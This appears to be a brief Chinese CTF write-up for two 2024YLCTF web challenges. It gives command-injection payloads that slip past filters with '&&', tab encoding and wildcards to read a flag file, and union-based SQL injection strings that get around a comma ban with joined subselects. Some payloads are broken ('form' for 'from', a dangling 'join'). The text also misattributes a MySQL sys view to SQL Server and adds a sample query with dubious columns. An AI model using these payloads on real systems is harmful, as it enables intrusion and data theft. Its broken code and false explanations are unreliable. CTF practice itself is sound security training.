hsadHsad
安全相关/CTF

2024YLCTF

web

shxpl(babyRce)

ban了ls ||以及空格等命令 可以使用dir &&%09绕过

Payload:

domain=baidu.com&&dir /

然后获取根目录下的flag⽂件,但是发现存在flag字符串存在过滤,通配符也被限制,同时 cattactail 也存在限制

domain=baidu.com&&nl%09%2Ffl[a-z]g_xPr8rY70

sInXx(babySqli)

常规联合注入 不过ban了,

# Test sqliPoint
id=juan79' and (1=1)%23
# 判断列数 因为,被ban了 所以采用 (SELECT 1)A join 绕过
id=1' union select * from ((select 1)A join (select 1)B join (select 1)C join (select 1)D join (select 1)E join )#
# get table_name  DataSyncFLAG,employees
id=1' union select * form ((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()))A join (select 1)B join (select 1)C join (select 1)D join (select 1)E join)%23
# get column_name
id=1' union select * form ((SELECT `2` FROM (SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b) UNION SELECT * FROM DataSyncFLAG)p limit 2 offset 1)A join (select 1)B join (select 1)C join (select 1)D join (select 1)E join)%23

sys.schema_table_statistics_with_buffer 是 SQL Server 中的一个系统视图,它提供了有关表和索引的统计信息,包括缓冲区中的数据页

SELECT 
    table_schema,
    table_name,
    last_user_seek,
    last_user_scan,
    last_user_lookup,
    last_user_update,
    user_seeks,
    user_scans,
    user_lookups,
    user_updates,
    buffer_pages,
    buffer_mb
FROM 
    sys.schema_table_statistics_with_buffer
WHERE 
    table_schema = 'dbo'
ORDER BY 
    buffer_mb DESC;